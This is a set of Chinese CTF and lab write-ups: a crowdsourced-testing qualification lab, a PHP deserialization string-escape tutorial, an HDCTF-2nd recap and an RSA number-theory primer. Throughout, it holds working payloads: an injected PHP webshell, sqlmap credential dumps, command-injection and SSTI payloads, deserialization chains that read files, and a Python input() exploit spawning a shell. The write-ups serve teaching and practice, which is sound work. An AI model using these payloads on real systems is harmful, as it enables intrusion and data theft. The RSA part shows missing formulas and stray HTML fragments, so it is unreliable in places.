记一次某众测的考核
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114390500001&pk_campaign=heetian-wemedia(介绍SQL注入原理并解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。)
前言
最近没什么事,于是报名了某众测,填了资料主办方给了个靶场要考核,这里分享一下靶场考核中的解题过程,一共十道题目,难度也不算太难,但也有一些题没做出来,最后也是顺利的通过了考核。
前戏
首先考核要答一些选择题和判断题,没什么好说的,主办方要求连了vpn没法上外网,但是都是一些基础的网络安全问题,随便答答就过了,接下来就是靶场的题目了。
靶场题目
第一题
WeSec微信公众号
提示:用IPAD手机的2G网络上网
很明显改改UA头就行了,直接搜一下UA头,替换上去。
改UA头
GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://119.3.225.8:41064/index.html
Upgrade-Insecure-Requests: 1
返回
mozhe64d25d173bdbae7366b76e0798a
第二题
易学车智能考试系统
扫目录发现/admin
爆破弱口令admin和admin888登录后台,发现后台是一个保存文件的功能,这里可以直接读取备份文件bak_wwwroot.zip的源码,关键代码如下:
<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:
<input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>
<input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">
<input name="myaction" type="hidden" id="myaction" value="dozip">
<input type="submit" name="Submit" class="sub" value=" 开始备份">
function createfile(){
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
pack('v', $this -> file_count) .
pack('v', $this -> file_count) .
pack('V', $this -> dirstr_len) .
pack('V', $this -> datastr_len) .
"\x00\x00";
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}
if(is_array($_REQUEST[dfile])){
$faisunZIP = new PHPzip;
if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){
echo "正在添加备份文件...<br><br>";
$filenum = 0;
foreach($_REQUEST[dfile] as $file){
if(is_file($file)){
echo "文件: $file<br>";
}else{
echo "目录: $file<br>";
}
$filenum += listfiles($file);
}
$faisunZIP -> createfile();
echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
}else{
echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";
}
}else{
echo "没有选择的文件或目录.<br>";
}
endif;
?>
审计代码,这里的dfile参数任何的过滤,尝试修改一下dfile的值,惊喜的发现可以读取任意文件,并写入bak_wwwroot.zip,下载bak_wwwroot.zip就可以读取了。
dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
虽然知道可以读取任意文件,但是不知道key是放在哪个地方,于是这里又卡了一下,但是转头一想,这里是写一个文件名并压缩进文件里面,老CTFer都知道做msic的时候,文件名会写入压缩包里面,于是写一个一句话木马,并把bak_wwwroot.zip改为bak_wwwroot.php试一下,没想到成功了。
dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
读取目录下所有文件目录
http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../
读取key
http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt
第三题
数字校园
提示:浏览器类型要是IPAD,以及要用英文,分辨率要1024*768
和第一题一样的套路
不过这里要改下
■Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3
■ Cookie为screenX=1024; screenY=768
第四题
网站文件备份服务器
虽然页面和第二题不同,但是扫目录同样扫出了是一样的后台,爆破弱口令,然后发现admin和admin,剩下的就和之前的步骤是一样的了,写一个马然后读key。
dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
第五题
教学器械采购平台
一道命令执行的题,有个输入框
随便fuzz一下,发现过滤了&&和空格
于是&&用&&替代绕过,空格用<替代绕过
先用ls读取文件目录
iipp=127.0.0.1&&ls&submit=Ping
然后再读取key即可
第六题
教学质量评价系统
发现有个注入点
http://119.3.177.25:41204/show.php?id=MQ0=
测试了一下发现是base64盲注,用tamper指定base64编码,直接丢sqlmap里面跑一下。
这里要注意的是这个靶场不太稳定,我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度,太快了可能网站会崩,所以sqlmap会增加延迟,让他更像是人手工在注入,我觉得慢就断开了,但是如果不清理缓存每次重来就是从上一次继续,所以这里的话加上fresh-queries,再加上batch自动确认。
跑数据库
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --dbs --dump --batch --fresh-queries
跑表名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --tables -D test --dump --batch --fresh-queries
跑列名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries
最后payload如下
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries
直接跑出key
第七题
XWAY科技管理系统
平台停机维护的通知存在注入,发现注入点在
http://119.3.225.8:41046/new_list.php?id=1
继续sqlmap跑起来,
跑数据库
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch
跑出两个账号密码
■ mozhe/528469
■ mozhe/888054
登录之后,即可拿到key。
第八题
XWAY电脑采购系统
随便看了发现到一个注入点
http://119.3.187.27:41144/new_list.php?id=1
发现是union注入,依旧尝试用sqlmap
跑数据库
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump --batch
最后跑出五个账号密码,只有一个能用,md5解密登录拿key。
sql注入不愧是OWASP TOP 10 之 榜首,10道题目出现了3道,有一说一sqlmap真的是好用。
细说php反序列化字符逃逸
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=heetian-wemedia (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
前言
php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。
基础知识理解
字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种原理之后会变得特别容易。
在SQL注入中,我们常用'、"来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值是以;作为字段的分隔,在结尾是以}结束,我们稍微了解一下,
<?php
class people{
public $name = 'Tom';
public $sex = 'boy';
public $age = '12';
}
$a = new people();
print_r(serialize($a));
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:
O:6:"people":3:
{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
可以看到,并没有报错,而且也顺利将这个对象反序列化出来了,恰好说明了我们以上所说的闭合的问题,与此同时,修改一些序列化出来的值可以反序列化出我们所知道的对象中里没有的值,在学习绕过__wakeup就能过知道了,这里可以自己去做一些尝试,去理解。
接下来就是要说到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"便会报错,为的就是解决这种报错,所以在字符逃逸中分为两类:
1.字符变多
2.字符减少
关键字符增多
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多,简单认识一下,正常序列化查看结果
这里,我们对序列化后的字符串进行了替换,使得后来的反序列化报错,那我们就需要在Tom这里面的字符串做手脚,在username之后只有一个age,所以在双引号里面可以构造我需要的username之后参数的值,这里修改age的值,我们这里将Tom替换为Tom";s:3:"age";s:2:"35";}然后进行反序列化,这里指的是在对username传参的时候进行修改,也就是我们写链子的时候进行的操作
可以看到构造出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的应该就是s:25:"Toom"我们要做的就是让这个双引号里面的字符串在过滤替换之后真的有描述的这么长,让他不要报错,再配合反序列化的特点,(反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的age:13的字符串成功使得age被修改为35。
而age的修改需要前面的字符串username的值长度与描述的一样,这需要我们精确的计算,这里是将一个o变成两个,以下就只写o不写Tom,效果一致,我们需要知道我们除了双引号以内的,所构造的字符串长度为多少,即";s:3:"age";s:2:"35";}的长度22,那就需要22个o,
总的来说就是22个o加上后面的字符串长度22,总长度就为44,在被过滤替换后,光o就有44个,符合描述的字符串长度。下面就说明(为什么叫做逃逸)
这里特意写了"将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了";s:3:"age";s:2:"35";}。
反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不够所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在一切吞噬结束之后,序列化出来的字符串如果不满足反序列化的字符串的格式,就会报错。我们这里是他吞噬结束后,还满足这个格式,所以不报错。
在这个例子中,我们利用他对序列化后的值,进行增加字符串长度的过滤,让他填充双引号内的字符串达到所描述的44这么长,使得后面的s:3:"age";s:2:"35";不被吞噬,让这部分代码逃逸出吞噬,又让他提前遇到}忽略后面的一些不需要的字符串,结束反序列化。
可以看到,我们构造的payload是成功修改了age,这里是数组,在对对象操作时也是一样的。
刚刚说到吞噬,在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作。
关键字符减少
有了前面”吞噬“的一种解释,那么字符串减少就很好说了 ,同样的也是因为替换的问题,使得参数可以让我们构造payload
这里的错误是因为s:5:"zddo"长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。以下讲具体实施。
同样的,我们这里以修改age为例,不同的是与增加字符串传值的地方有些许不同,我们构造的值是有一部分让他吞噬的
先正常传递值序列化出我们需要修改的值,我们需要的是将age:13改为35
取出";s:3:"age";s:2:"35";}这就是我们需要构造的,接着继续将这部分内容重新传值,序列化出来,得到下面的结果
选中部分就是我们构造出来,他需要吞噬的代码,s:22:""这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着就是计算我们自己所需要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也就是每吃掉一个字符,就需要有一个oo,那我们需要吃掉的是18个长度,那么我们就需要18个oo,在吞噬结束之后我们的格式又恢复正确,使得真正的字符s:3:"age";s:2:"35";逃逸出来,成功加入反序列化
这就是我们最终的payload,可以看到下图成功修改了
例题
有了以上基础,就可以做题了,简单的开始入手
安恒四月(字符减少)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
看到上面的代码,很明显,我们需要利用file_get_contents();读取文件,将flag读取出来,但是他是个__toString()方法,我们就要让他触发这个方法,当反序列化出对象后,被当作字符串使用时,就可以触发,那我们就需要写一个链,与此同时我们也要知道字符串被删减了几个字符
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
看这一部分即可了解到,如果发现不可见字符*不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符*不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少,通过计算逃逸字符,读取flag文件
题目中序列化的是对象$a,里面有两个参数,username和password,我们要传入的也是这两个参数的值,所以我们构造的payload,应该是往password传我们构造好的字符,而在username传入的为计算好的\0\0\0个数,
按照流程来,先写一个链子,某些参数先随便写
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
选中部分就是我们需要重新传参的地方,我们传进password,再次序列化看看效果
我所选择的地方就是需要被吞噬的部分,然后才能使得后边的代码全部逃逸,长度为23,计算后发现需要8个\0\0\0,但8个这样的符号会吞噬24个字符,因此我们可以在s:70:""双引号里面可以随意补一个字符让它吞噬。
因此我们最终在password里面传参的应该是:
i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
而在username中传的就是8个\0\0\0:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
最终payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}
0CTF piapiapia(字符增加)
扫描目录发现http://www.zip/,下载后开始,审计源码
我们根据他的网页一步步看源码,首先他要我们登陆,我们先注册一个账号进行登陆
看到上图的界面,这时我们看到update.php,都是一些对参数的白名单按要求写即可,图片也随便传一个符合大小的即可,但是注意nickname是我们要操作的地方,稍后讲解,然后有个序列化数组的过程
$user->update_profile($username, serialize($profile));
在上传成功后,他会到profile.php,我们看到profile.php,有这么一段东西
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
这里告诉我们,他反序列化的是profile这个数组序列化后的值,读取的是键名为photo里面的文件名,而flag在config.php也就是说我们需要构造的就是数组中$profile['photo']='config.php'
那么怎样才能让他读这个config.php呢
我们看到class.php,看到父类mysql中:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
发现序列化的值他会传递给user中的方法update_profile,接着update_profile又将这个值传递给了父类方法filter,显而易见,就是一种过滤,防止sql注入,但是可以发现,他是以替换的方式给返回值,在过滤的字符串中,只有where变成hacker,由5个字符变成6个,所以是字符增加的逃逸方式,接着开始构造
选择部分是需要传入的,在phone和email都是白名单,传入的格式受限制,只有nickname是黑名单,所以我们要绕过这个黑名单,bp抓包
他使用的是strlen()所以这里有个方式,这个函数如果参数是字符串,那么数出来的就是字符串个数,如果是数组,那么数出来的就是数组元素的个数
将nickname改成nickname[]然后传参
传的参数我们需要构造,需要计算,上面分析了我们需要构造的字符串";}s:5:"photo";s:10:"config.php";},但是他是字符增多,我们就需要知道需要逃逸的字符有多少个,计算了一下为34个,(这里因为改为了数组,而数组的序列化格式结束后是一个大括号,所以我们在一开始的”;后面增加了一个花括号)所以需要34个where帮助我们逃逸这部分代码,上传成功,根据这个修改放包即可
返回网页点击
之后可以看到一张显示不出来的图片,因为使用base64编码了,右击查看图片信息
解码即可看到flag
HDCTF-2nd复盘
HDCTF_2nd, 海南大学校内赛。国庆打的,之前没时间复现。校外人水了个纪念品。感谢Gamous不舍赐教。感动的哭了。比赛的复盘。有些没做出来的阔以看官方wp。题附及官方wp已打包:
蓝奏:
https://wws.lanzous.com/i7HmLhmw18f
百度云:
链接:https://pan.baidu.com/s/1mKWDG-bftD-kPAeZwEUvGw
提取码:bcxv
Web
signin:
打开网页,源代码,base64解码
babysql(ACTF题):
这题。。一开始以为是纯注入,一个一个试'load_file','information_schema'。还过滤了挺多东西的
后来就直接绕过注入,直接select即可。看提示(划线划掉的)也是
查完字段是三个之后,直接查询flag即可
1' union select 1,2,flag from flag#
babyrce(ACTF题):
这题也没啥限制,就是最简单的rce,../ 就返回上级目录,flag就是flag文件。
easygit(ACTF题):
git泄露,github上找个工具,下了源码直接cat flag就好了
backup_file(ACTF题):
index.php.bak,备份文件,根据源码绕过就好了,构造?key=123即可
考点应该是php弱类型
参考别人总结的:https://www.cnblogs.com/Mrsm1th/p/6745532.html
intval函数直接将值转换成数字,即数字跟字符串比较。
传key=123即可绕过限制
easy_file_include(ACTF题):
伪协议直接包含http://8.129.15.153:20005/?file=php://filter/read=convert.base64-encode/resource=flag.php
点击页面的tips,文件包含php伪协议直接尝试即可
do_u_know_HTTP:
提交get参数Hainan_University,然后在post提交HnuSec即可。在根据最后一条,burpsuite抓包加上http头
没啥难的,就按要求提交各类参数就好了。就是post的时候我bp一直不行,用hackbar才可以
erciyuan
看源码,直接跟到最后。先第一步绕过正则即可,^符号取反。就把除了26个大小写字母和数字的其他替换成空
第二个过滤则把HnuSec替换成!。观察前面的hint我们要访问到!HDCTF!.php文件。就构造HnuSecHDCTFHnuSec.php的编码即可绕过
hash_hmac:
观察源码,直接绕过即可。post传x[]=QNKCDZO&y[]=aabg7XSs。给了个 fllllllllllllag.php,访问cat flag
md5弱类型,直接绕过吧
welcome:
猜测弱口令,admin/123456,密码错误左上角弹出密码。输入 cat flag
calculator_v1
flask的一题,下载给的python文件,没做任何过滤。直接cat flag即可
ezflask
给了个参考链接,模板注入。还什么都没过滤。就直接套了wp里的payload。https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
{{config.__class__.__init__.__globals__['os'].popen('cat ./flag').read()}}
warmup
getshell
getshell。看过滤。过滤逗号和等号,而后用.来连接前后。
直接把连接前面的闭合掉,在用//注释符把后面注释掉
直接闭合后面也是可以cat flag的,看源码就拿到flag了
dudaima
get给pass传个值,然后反序列化他。就满足if里的条件即可
就可自己测试了。引用赋值和传值赋值参考:https://blog.csdn.net/m15712884682/article/details/77350027
剩下的web题就不咋会了。还有几道flask和反序列化,可以看看官方wp
misc:
签到题:
直接输flag,签到即可。。
一步之遥:
伪加密
改成00打开
你知道lsb是什么意思吗
就lsb低位隐写,存为7z即可
后来保存下来,看到文件较小,也猜到可能是crc32,找工具爆了确实也不是
在比赛中是没想到可能会是纯数字,后来就写个纯数字的爆破脚本即可(脚本来自官方wp)
girlfriend:
导出HTTP对象,选最大的是图片文件。打开看到flag
嘤语:
----- . ----. -... ..--- -... ...-- -.... . . ...-- ...-- -... .---- ...-- ..-. ..-. ----. .- --... ...-- -.. ..-. ....- ....- ----. -... --... --... . ..--- ..-.
http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx
奇怪的字符:
leet,l33t。黑客语言。wiki上找一下。有对照表,也有在线的网站
http://www.englishcn.com/tools/Leet.htm
http://output.jsbin.com/IHoFuQE/1
https://www.dcode.fr/leet-speak-1337
http://www.toolsxx.com/code/1337.html
https://1337.me/
https://www.gamehouse.com/blog/leet-speak-cheat-sheet/
无字天书:
打开文件,文件只由空格,tab,换行组成。可能是white-space
找个在线的网站贴进去可以直接解,或者去gayhub上找个。
https://vii5ard.github.io/whitespace/
ook直接解密就可
https://www.splitbrain.org/services/ook
你真的了解dns吗?:
nslookup -type=txt hdctf.0x00.work,直接看到flag
dns的type表示dns的协议类型
nospace
零度字符隐写
解出来的就是password,密码admin:https://offdev.net/demos/zwsp-steg-js
雪花飘飘
零解一题,看了wp还没给我整懂,问了一下出题人。diff原页面和链接页面。发现换行,考虑网页隐写。使用stegsnow。snow=雪
用在线工具diff即可。
海南上一次下雨时间。
然后就保存题目链接的html文件。
花朵解密,https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
海底捞帧预告片
这题感觉不难,就是头大,看了wp还能懂
找到了可以用FFmpeg删除重复帧的命令,和wp一毛一样
问了一下出题人,还给一个用脚本的思路,Hash比较每一帧来筛选。写不来,Ffmpeg天下第一。
删除重复帧之后,提出图片。
最后筛选到4张,但目前无ps就没继续做下去了,拼起来反色即可得到二维码。
专业团队:
分四阶段,主要就是要降噪处理(不知道能不能把抬棺那段分离出来)。还有能听出来DTMF编码。morse降噪完直接看就好了。DTMF不能的话,就手解。降噪完也是能看的,一个是频谱,然后第二个应该是morse,第三个是dtmf 第四个就是流派的flag。连起来就是最后的flag了。
调两个频段之后对着DTMF的表就可以看出来了。用工具解的话有几位是乱了的
瓦斯矿工
很新奇的一道题,虚拟货币相关。
metamask使用可参考:https://zhuanlan.zhihu.com/p/112285438?from_voters_page=true
直接foremost分离图片即可得到一个压缩包,拖进16进制文件里也可以看到有12个50 4B 03 04的PK头
观察到大小较小,直接爆破crc即可,以太坊钱包通过助记词登录。助记词可通过数字查询,这里就只爆破数字。
直接破即可,https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt#L350
以太坊钱包通过BIP-39生成私钥,数字查询助记词。
脚本
import binascii
import zipfile
import time
def crc32asii(v):
return (binascii.crc32(bytes(str(v), encoding='ascii')) & 0xffffffff)
for x in range(1, 10000):
f = zipfile.ZipFile("00000001.zip", "r")
for i in range(1, 13):
GetCrc = f.getinfo(str(i))
crc = GetCrc.CRC
a = ("0x%08x" % crc)
j = crc32asii(x)
if ("0x%08x" % j) == a:
print(i, x)
time.sleep(0.1)
使用助记词登录之后,复制地址,去查询最近的交易记录
详情里得到的直接转字符串得到flag
到点了,上号
出题肯定有故事doge
考点是mp3保留字隐写数据,wp里给了wiki链接https://en.wikipedia.org/wiki/MP3#File_structure
直接拿脚本就出了,未学习原理。
crypto
起源:
应该是凯撒直接解
围住世界:
这题疑惑了挺久的,以为是自己找的网站和软件不对。反反复复里里外外。试了好几个。后来翻看笔记的时候发现可能是w型栅栏密码
http://www.atoolbox.net/Tool.php?Id=777.com
有趣起来了:
就倒序,ctf特训营上有讲的。quiqui也可以做的,前面改成hdctf就好了。顺便把字母改一下即可。
官方wp上给的是用脚本
神秘字符:
一看时候只注意到mc。以为是什么mc的其他版本。就去疯狂google也没找到。后来就翻到mc的wiki。就mc附魔台上的字符,玩过mc的应该都知道,mc wiki上找张对比图,对比就好
https://minecraft-zh.gamepedia.com/Minecraft_Dungeons:%E7%AC%A6%E6%96%87茫茫人海:
base64隐写,跟[ACTF新生赛2020]base64隐写挺像的。反正也是套脚本就好了
奇怪的贝斯:
整不会了这题,抱歉。
具体思路应该就是构造一个码表。\x即是转义字符,方便表示
babyrsa:
https://www.anquanke.com/post/id/87105
这题还好,纯现代密码菜鸡,不过给了pqe。又给了个链接,先求欧拉,然后就n,d,m
#coding:utf-8
from binascii import a2b_hex, b2a_hex
import gmpy2
#flag = "*****************************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
c = 68405618655091231850901459679785989915772760467494039910176075122809565696913
m = pow(c, d, n)
print(m)
#a=(int(str(m),16))
a=191853633260784640753082658319123392799532077630882079100618224148262386737246462849
https://tool.lu/hexconvert/
https://www.bejson.com/convert/ox2str/
Re
sign_up
直接查看字符串就可看到flag
re1
这题比赛的时候看,以为是异或运算+base64换表然后解密,找了半天硬是没找全64个字符。然后就不了了之。Re也不咋会。之后的题可以看官方wp。
pwn
calculator
题目描述:
python2的input执行输入导致rce
先用__import__('os').system('/bin/sh')。直接rce
然后用python -c 'import pty;pty.spawn("/bin/bash");'。获得一个bash的shell
找到之后cat即可
自己写了一个。。发现py直接input就可了
warmup
abs函数是取绝对值的意思。所以不可能小于0。考虑abs负数溢出。就是2的31次方。直接写脚本传就可
backdoor
字符串查看到sh,跟入
继续跟
bash后门
查看buf到r的位置
编写脚本溢出即可
其他pwn题本菜不会,pwn题可以参考某大佬,应该是ak了pwn题的:https://www.cnblogs.com/z2yh/p/13771942.html
相关实验:CTF实验室 https://www.yijinglab.com/pages/CTFLaboratory.jsp
CTF现代密码
前言:
在CTF的密码题目中,RSA以其加密算法之多且应用之广泛,所以在比赛中是最常见的题目。学习密码学并不难,但首先得打好数学基础,并在攻破密码的学习之路上持之以恒。今天我们就来打开RSA加密世界的第一扇门<数论< span="">>。
数论基础:
1.素数
2.公约数与公倍数
3.欧拉函数
4.欧几里得算法
5.扩展欧几里得算法
6.同余
7.模运算
8.逆
9.中国剩余定理
10.逆元与同余式定理
1.素数:
定义:
一个大于1的自然数,除了1和它本身外,不能被其他自然数整除(除0以外)的数称之为素数(质数);否则称为合数。
如:
3×4 = 12,不是素数。
11除了等于11×1以外,不能表示为其它任何两个整数的乘积,所以11是一个素数。
关于素数有以下事实:
(1)如果p是素数,且p | ab(表示ab能被p整除),则p | a或 p | b ,即p 至少整除a与b中的一个。
(2)(算术基本定理)每个整数n ≥ 2 ,均可分解成素数幂之积:
(3)素数有无穷多个。
2.最大公约数与最小公倍数
3.欧拉函数
定义:
性质:
4.欧几里得(Euclid)算法
欧几里得算法又称为辗转相除法,用于求两个数的最大公约数。
原理:GCD(x,y) = GCD(y,x mod y) ,x>y
1.python代码实现
2.python第三方库:
1gmpy2.gcd(a,b) #求a,b的最大公约数
2Crypto.Util.number
5.扩展欧几里得算法
定义:
在已知x,y时,求解一组解a,b,使得ax+by = GCD(x,y)
算法输入:两个正整数x和y
算法输出:x和y的最大公因数gcd(x,y)及满足等式ax+by=gcd(x,y)的整数a和b
python代码实现:
gmpy2库函数gcdext()
6.同余
定义:
设a,b是整数,n≠0,如果n|(a-b),则称a和b模n同余,记为a≡b(mod n),整数n称为模数。
由于n|(a-b) 等价于 -n|(a-b),所以a≡b(mod n) 与 a≡b(mod (-n))等价。因此,一般我们总假定模数n≥1。
同余的性质
性质1:
(1)自反性:a ≡ a (mod m)
(2)对称性:a ≡ b (mod m),↔ b ≡ c (mod m) ↔ a ≡ c (mod m)
性质2:
7.模运算
定义:
a模n的运算给出了a对模n的余数,这种运算称为模运算。注意:模运算的结果是从0到n-1的一个整数。
模运算就像普通的运算一样,它是可交换、可结合、可分配的。而且,对每一个中间结果进行模m运算后再进行模m运算,其作用与先进行全部运算,然后再进行模m运算所得到的结果是一样的。例如:
(a+b)mod m=((a mod m)+(b mod m)) mod m
(a-b)mod m=((a mod m)-(b mod m)) mod m
(a×b)mod m=((a mod m) ×(b mod m)) mod m
(a×(b+c))mod m=((a×b) mod m+(a×c) mod m) mod m
这些性质对于密码学中的数学计算非常的重要,模运算可以将所有中间结果和最后结果限制在一个范围内。对于一个k位的模数n,任何、加、减、乘的中间结果将不会超过2k位长,这样避免了巨大的中间结果,使得计算机能够有效的处理数据。
如:计算(mod n),不要直接进行7次乘法和一个大数的模运算:
(a×a×a×a×a×a×a×a)mod n
相反,应该进行三次比较小的乘法和三次比较小的模化简:
这样就可以避免巨大的中间结果出现。
8.逆
定义:
若m≥1,gcd(a,m)=1,则存在c使得:
ca≡1(mod m)
9.中国剩余定理
中国剩余定理(Chinese remainder theorem,CRT),又称孙子定理,最早可见于中国南北朝时期(公元5世纪)的数学著作《孙子算经》中,为一次同余方程组的起源。
代码实现:
10.逆元与同余式定理
1模运算重要公式:
2威尔逊定理:(wilson’s theorem)
若p为素数,则:(p-1)!≡-1(mod p) ⟹推导:(p-2)!≡1(mod p);
其逆定理同样成立。即:若(p-1)!≡-1(mod p),则p为素数
3二次探测定理:
定义:
若p是素数且 0<< span="">x<< span="">p,则 ≡1(mod p)仅有的两个解为:x=1或x=p-1
证明:由于≡1(mod p),所以:-1≡0(mod p),即(x+1)(x-1)≡0(mod p)
4费马小定理(Fermat):
5欧拉定理(Euler):
若a与m互质,则:
后记:
数论基础的知识点比较杂乱繁多,这篇文章写的时候尽可能的去精简了,其中的定理及公式是必须要牢记于心的,后面的RSA加密算法的讲述中我会介绍定理及公式在RSA中的应用。
学习完数论基础后,后面我们将开始学习RSA的常见攻击算法及加密原理,以及各种工具的使用和python第三方库的函数调用。
